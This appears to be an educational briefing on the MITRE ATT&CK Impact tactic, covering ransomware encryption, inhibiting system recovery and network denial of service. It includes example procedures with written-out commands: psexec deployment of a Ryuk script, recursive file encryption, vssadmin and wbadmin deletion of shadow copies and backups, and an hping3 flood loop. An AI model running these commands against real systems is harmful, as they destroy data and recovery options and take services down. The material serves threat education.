The adversary is trying to manipulate, interrupt, or destroy your systems and data.

🏷 MITRE ATT&CK Reference: TA0040 (Enterprise)

Technique 1: T1486 – Data Encrypted for Impact

📖 MITRE ATT&CK Technique Reference: T1486 – Data Encrypted for Impact

Description:

Adversaries may encrypt data on target systems or on large numbers of systems in a network to interrupt availability to system and network resources. This is typically done for financial gain through ransom demands.

Sub-techniques:

- Various encryption algorithms and ransomware families

Technique 2: T1490 – Inhibit System Recovery

📖 MITRE ATT&CK Technique Reference: T1490 – Inhibit System Recovery

Description:

Adversaries may delete or remove built-in data and turn off services designed to aid in the recovery of a corrupted system to prevent recovery.

Sub-techniques:

- Deletion of shadow copies, backups, and recovery partitions

Technique 3: T1498 – Network Denial of Service

📖 MITRE ATT&CK Technique Reference: T1498 – Network Denial of Service

Description:

Adversaries may perform Network Denial of Service attacks to degrade or block the availability of targeted resources to users.

Sub-techniques:

- T1498.001 – Direct Network Flood: Flooding network with traffic
- T1498.002 – Reflection Amplification: Using amplification attacks

Procedure 1: Ransomware Deployment Using Ryuk

Objective: Encrypt critical business data and demand ransom payment for decryption keys.
Steps:

1. Attacker gains domain admin privileges through lateral movement
2. Deploys Ryuk ransomware across network using PSExec:

```
psexec \\target_system -s cmd /c "powershell -ExecutionPolicy Bypass -File
ryuk.ps1"
```

3. Ransomware encrypts files with AES-256 encryption:

```
# Encrypt files with specific extensions
Get-ChildItem -Path "C:\" -Include *.docx,*.xlsx,*.pdf -Recurse | ForEach-
Object { Encrypt-File $_.FullName }
```

4. Deletes shadow copies and backups:

```
vssadmin delete shadows /all /quiet
wbadmin delete catalog -quiet
```

5. Displays ransom note demanding payment in Bitcoin

Outcome:
Organization's critical data is encrypted and systems are inoperable, forcing business disruption and potential ransom payment to restore operations.

Procedure 2: Distributed Denial of Service Attack

Objective: Disrupt business operations by making network services unavailable.
Steps:

1. Attacker compromises multiple systems to create botnet
2. Coordinates simultaneous attack against target infrastructure:

```
# Launch coordinated flood attack
for i in {1..1000}; do
    hping3 -S -p 80 --flood target.company.com &
done
```

3. Targets multiple services simultaneously (web servers, DNS, email)
4. Uses reflection amplification to magnify attack traffic

5. Sustains attack to maximize business impact

Outcome:
Target organization's online services become unavailable, resulting in lost revenue, customer impact, and reputational damage until attack is mitigated.

Presented to: Digisuraksha Parhari Foundation